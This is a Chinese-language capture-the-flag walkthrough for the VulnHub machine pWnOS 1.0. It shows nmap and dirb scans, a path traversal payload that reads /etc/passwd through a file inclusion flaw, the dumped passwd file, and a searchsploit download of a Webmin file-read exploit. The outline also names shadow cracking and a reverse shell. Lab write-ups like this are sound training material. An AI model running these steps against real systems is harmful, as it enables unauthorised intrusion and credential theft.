目录
1. 利用解法一的任意文件读取漏洞查看/etc/passwd
1.1 思路:当我们看到/etc/passwd文件中存在多个用户的时候,我们要想一下这些用户有没有ssh相应的文件
4.1 思路:渗透测试过程中ssh,经常会碰到因为版本的问题、协议的问题、加密方式的问题,导致ssh登录的过程提示各种报错,要学会解决这些问题。
5.2.1.1 思路:bash版本小于4.3,一般会存在shellshock漏洞
# 学习环境准备
靶机下载地址:pWnOS: 1.0 ~ VulnHub
攻击机Kali ip:10.10.10.128
解法一
一、总结
1.1 主机发现
sudo nmap -sn 10.10.10.0/24
1.2.1 端口开放情况扫描
sudo nmap -sT --min-rate=10000 -p- 10.10.10.136
1.2.2 UDP端口开放情况扫描
sudo nmap -sU --min-rate=10000 -p- 10.10.10.136
1.3 端口详细信息扫描
sudo nmap -sT -sV -O -p 22,80,139,445,10000 10.10.10.136
1.4 nmap漏洞脚本扫描
sudo nmap --script=vuln -p 22,80,139,445,10000 10.10.10.136
1.5 目录扫描
dirb http://10.10.10.136
2.1 80页面漏洞查找
2.2 利用文件包含漏洞查看/etc/passwd
3.1 10000页面漏洞查找
3.2 searchsploit webmin 查找可利用漏洞
3.3 利用任意文件读取漏洞查看/etc/shadow
3.4 john破解密码
3.5 ssh连接服务器,分析服务器文件信息,发现webmin目录是root权限运行的,可以利用权限配置不当进行提权
4.1 webshell上传
4.2 perl cgi反弹shell获取root权限
二、详细过程
1. 信息收集
1.1 主机发现
sudo nmap -sn 10.10.10.0/24
1.2.1 TCP端口开放情况扫描
sudo nmap -sT --min-rate=10000 -p- 10.10.10.136
1.UDP端口开放情况扫描
sudo nmap -sU --min-rate=10000 -p- 10.10.10.136
1.3 端口详细信息扫描
sudo nmap -sT -sV -O -p 22,80,139,445,10000 10.10.10.136
1.4 nmap漏洞脚本扫描
sudo nmap --script=vuln -p 22,80,139,445,10000 10.10.10.136
1.5 目录扫描
sudo dirb http://10.10.10.136
2. 80端口web服务渗透测试
2.1 web页面漏洞查找
点击next,跳转至另一个页面
点击Please Help! 跳转至新页面,发现了?name,尝试一下文件包含
2.2 文件包含漏洞利用
../../../../../etc/passwd
被骂了,这个页面文件包含好像没什么用
返回上一个页面,再试试文件包含
又报错了,报错信息显示include()尝试打开一个空字符串 '' 作为文件名。因为这是一个无效的文件路径,PHP无法找到要包含的文件,所以引发了这个警告。
证明是有文件包含的功能的,只是想要打开的文件不是我们输入的'../../../../../etc/passwd',那我们尝试一下其他参数,多试试总不会有错
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
dhcp:x:100:101::/nonexistent:/bin/false
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
mysql:x:103:107:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash
obama:x:1001:1001::/home/obama:/bin/bash
osama:x:1002:1002::/home/osama:/bin/bash
yomama:x:1003:1003::/home/yomama:/bin/bas
再试试etc/shadow
访问被拒绝了,应该是权限不够。/etc/shadow一般需要root权限才可以访问
2.3 其他页面查看
刚才目录扫描发现了其他几个页面,访问php
有一个 phpMyAdmin路径,需要进行登录,我们没有密码,尝试其他路径
3. 10000端口web服务渗透测试
3.1 web页面漏洞查找
发现了Webmin关键字,应该是一个CMS
3.2 searchsploit漏洞查找
sudo searchsploit webmin
打靶机尽量不选择metasploit的,分析一下搜索结果选择这两任意文件泄露的漏洞脚本进行利用
3.3 下载.pl扩展名的漏洞脚本
sudo searchsploit webmin -m 2017、
使用了 searchsploit 工具来搜索 Exploit Database(Exploit-DB)中的漏洞利用,然后将其镜像(复制)到当前目录。
-m 是镜像选项,表示将漏洞利用代码复制到当前目录。
2017 是 Exploit Database 的漏洞利用编号(EDB-ID)。